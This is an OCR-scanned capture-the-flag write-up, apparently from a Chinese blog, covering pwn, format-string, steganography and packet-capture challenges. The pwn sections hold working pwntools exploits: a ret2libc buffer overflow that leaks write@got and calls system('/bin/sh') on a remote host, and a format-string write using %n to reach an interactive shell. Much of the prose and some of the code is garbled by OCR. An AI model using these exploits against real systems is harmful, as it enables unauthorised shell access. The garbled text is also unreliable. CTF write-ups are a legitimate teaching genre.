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Boring Game

BH#R nc117.50.59.220 12345
L FETREBHAN MY pwn 1 1ibc.so.6 « PR ERZRET2LIBCH KA

BEXFReHE

7 RACY

int _ cdecl (int argc, const char **argv, const char **envp)

{

(1, "Hello, welcome to a boring game.\n", ©x22u);
(_bss_start);
()

return 9;

1
J


https://blog.csdn.net/SWEET0SWAT
https://blog.csdn.net/sweet0swat/category_7954860.html
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/SWEET0SWAT/article/details/84730060
https://blog.csdn.net/sweet0swat/category_7954860.html
https://mp.csdn.net/clock?utm_campaign=marketingcard&utm_source=SWEET0SWAT&utm_content=84730060

Q)

int v1; // [esp+6h] [ebp-58h]

char buf[64]; // [esp+4h] [ebp-54h]

int v3; // [esp+44h] [ebp-14h]

unsigned int seed; // [esp+48h] [ebp-16h]
ssize t v5; // [esp+4Ch] [ebp-Ch]

("What's your name ?");
(_bss_start);
v5 = (0, buf, ox80u);
if ( v5 <= 64 )
buf[v5 - 1] = 0;
("Hi ,%s. Let's play a game.\nCan you guess a number ? (@ - 1024)\n", buf);
(_bss_start);
seed = (9);
(seed);
() % 1025;
("%d", &vl);
if (vl == v3 )
("Why are so niubi! number is %d\n", v3);
else
("Sorry, you only have one chance here.\nnumber is %d\n", v3);
return (_bss_start);
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Function name Segment Sta
_init_prae . init 0304
sub_ 5045410 plt DE04
_read .plt 080
_printf .plt 080
_Efluzh .plt 080
_time .plt 080
_puts .plt 080
_srand .plt 080
_ libe_start_main .plt 080
_mrite .plt 080
_rand .plt 080
_ izoed9_seanf .plt 0304
_ gmon_start_ .plt. zot 0304
_=tart . text 0504
_ x36_get_pe_thunk bx . text 0304
deregizter_tm_clones . text 0304
regizter_tm_clones . text 0304
_do_global dters_aux . text 0304
frame_dummir . text 0304
Fame . text 0504
main . text 0804
_libe_e=u_init . text 0304
_libe_esu_fini . text 0304
_term_prac fini 0304
read extern 0804
printf extern 080
fflush extern 080:
time extern 080:
puts extern 080:
srand extern 080:
_ libe_start_main extern 080:
write extern 080:
rand extern 080:
_1s0c99_scanf extern 0304
_imp__ gmon_start_ wetern (&0
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step1: ZRElwrite & $ )bt

step2: FRELwrite B F7E Libe B TH i ¥ %
step3: T H EHHE

step4: FKELsystemAl“/bin/sh” i1k
step5: itE systemAl"/bin/sh” i Huhik

B JEgetshell

W EE B KE
M 215 padding88/4™~ T3 F 4 J& W] LAIE HIEIP
FK B write 2R % ) Hhu ik

B Awrite B —FF ik L T, BT LUK ANEHE B gotsR B P 25 =2 ESE i bk
A] LM FHELF S Alibc)E F gotB Huisk 47 3K X
& objdump B4 ARG B W T 15 B.:

08048420 <read@plt>:
8048420: ff 25 Oc a0 04 08 j DWORD PTR ds:0x804a00c

8048426: 68 00 00 00 00 ox0
804842b: e9 e0 ff ff ff j 8048410 <.plt>

H b ox8e4a00c B write B $7Egot H ) Lkt
FK X write BR £ ¥ i
X B g F pwntoolsKelf S NlibcfE, T Hsymbolsi# AT EhL

from pwn import *
libc = ELF('libc.so0.6")

write off = libc.symbols[ 'write']

Tt

X B EI i iEpayload, H R kKRR B R IZEHIEIPLLE B E Blputs %, 2R )5 Hwrite & $i R gotaR H (A itk 5%
*.

payload = 'a'*88 + p32(puts_addr) + p32(main_addr) + p32(write_got)

5 2 J5 PR SE ok 9 2 R i RT LAAS B 2 kit

base_addr = write_addr - write_off
it H system#l "/bin/sh" i 11t

from pwn import *

libc = ELF('libc.so.6")

write_off = libc.symbols|['system']
bin_sh_off = libc.search('/bin/sh").next()

system_addr = system_off + base_addr
bin_sh_addr = bin_sh_off + base_addr

EXP



from pwn import *
#context.log Level = 'debug'

libc = ELF('libc.so0.6")
p = remote('117.50.59.220"',12345)
0x08048460
0x0804869
libc.symbols[ ‘write']
libc.symbols[ 'system" ]

log.info('write_off: '+hex(write_off))
log.info( 'system_off: '+hex(system_off))
log.info('bin_sh_off: '+hex(bin_sh_off))

payload = 'a'*88 + p32(puts_addr) + p32(main_addr) + p32(write_got)
p.recvuntil(" ?"

recvinfo = p.recv().split('\n')[1].replace('\x00"',"'")
write_addr = u32(recvinfo)
log.info(hex(write_addr))
base_addr = write_addr - write_off
system_off + base_addr
bin_sh_off + base_addr

Got baseaddr =",hex(base_addr)
Got execveaddr =",hex(system_addr)
Got /bin/sh addr =",hex(bin_sh_addr)

'a'*88 + p32(system_addr) + p32(main_addr) + p32(bin_sh_addr)
p.sendline(payload2)
p.recvuntil('? (@ - 1024)\n')

p.interactive()
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Format

XBJLF R, AR SR A IR B .
BH#R Maybe wo genboring nc 117.50.13.182 33865
fR R 2t
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int _ cdecl (int argc, const char **argv, const char **envp)
{

char s; // [esp+1Ch] [ebp-8Ch]

unsigned int v5; // [esp+9Ch] [ebp-Ch]

(0x14u);

(&s, 0, 0x80u);

(&s, 128, stdin);

(&s);
if ( secret == 192 )

OF
else
("Sorry, secret = %d\n", secret);

return 0;

O
__gid_t ve; // STiC 4
Ve = OF

(vo, vo, vO);
("/bin/sh -i");

IR RAE printf(&s) T LART LUA %xa&n Xt B fn ik o KE#AT 505 .

AT 5 S R KR, (LA 5 S O M o O Y 2 LA T H R R A

FTFF

O.fff.f7fdf379.f63ddeze.f7ffdaf8. ffffd344.0.T7fdff8b.8048240

PRI B TF 4R 3R 2 R MR 114N T 46
EXP

from pwn import *

#context.log Level = 'debug'

remote('117.50.13.182",33865)
#r = process('./format")

payloadl = p32(0x0804A048)+'%188u%11$n’
#print payloadl
r.sendline(payloadl)

print r.recv()

r.interactive()
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http://www.atool.org/steganography.php
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http://www.llang.net/sudoku/calsudoku.html

flag{cee3860fb3f4a52e615fa8aaf3c91f2b}
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python Isb.py extract 1.png 1.txt Lsb_1s_gr3at

T3 H python 1sb.py extract 1.png flag.txt Lsb_1s gr3at flagifJ& Hik:
T 1ot - iESEE
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flag_universe
BEH#iR please find the flag in our universe!
 SEZS A

TIOTRER, RIS ftpXdEi

aAmi® REQe==Ti2s EaQal
[0 B0 ) & +
Yo Time Source Destination Protosol Length Info ~
952 107.669315362 172.17.0.2 172.17.8.1 FTP 183 Response: 258 Directory successfully changed.
953 107.669345272 172.17.8.1 172.17.0.2 FTP 72 Request: PASV
954 187.669455573 172.17.9.2 172.17.0.1 FTP 114 Response: 227 Entering Passive Mode (172,17,0,2,82,118).
955 107.669504993 172.17.0.1 172.17.0.2 FTP 72 Request: PASV
956 1087.669548453 172.17.8.1 172.17.8.2 FTP 73 Request: (WD /
957 187.669584754 172.17.9.2 172.17.0.1 FTP 114 Response: 227 Entering Passive Mode (172,17,0,2,82,114).
958 107.669616584 172.17.9.2 172.17.0.1 FTP 103 Response: 250 Directory successfully changed.
959 107.669695854 172.17.8.1 172.17.0.2 FTP 73 Request: CWD /
962 107.669758075 172.17.8.1 172.17.0.2 FTP 72 Request: PASV
964 187.669795135 172.17.9.2 172.17.0.1 FTP 103 Response: 250 Directory successfully changed.
966 107.669859216 172.17.0.1 172.17.0.2 FTP 75 Request: LIST -a
969 107.669909266 172.17.8.2 172.17.8.1 FTP 114 Response: 227 Entering Passive Mode (172,17,0,2,82,117).
970 187.669932406 172.17.0.1 172.17.9.2 FTP 72 Request: PASV
971 187.669968056 172.17.0.1 172.17.9.2 FTP 75 Request: LIST -a
975 107.670101177 172.17.0.2 172.17.8.1 FTP 185 Response: 158 Here comes the directory listing.
976 107.678102877 172.17.0.2 172.17.8.1 FTP 114 Response: 227 Entering Passive Mode (172,17,0,2,82,108).
977 187.670144648 172.17.9.2 172.17.0.1 FTP 105 Response: 150 Here comes the directory listing.
978 107.670156398 172.17.8.1 172.17.8.2 FTP 75 Request: LIST -a
982 107.678338429 172.17.8.1 172.17.08.2 FTP 75 Reguest: LIST -a v
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http://lsb.py

Extract Preview
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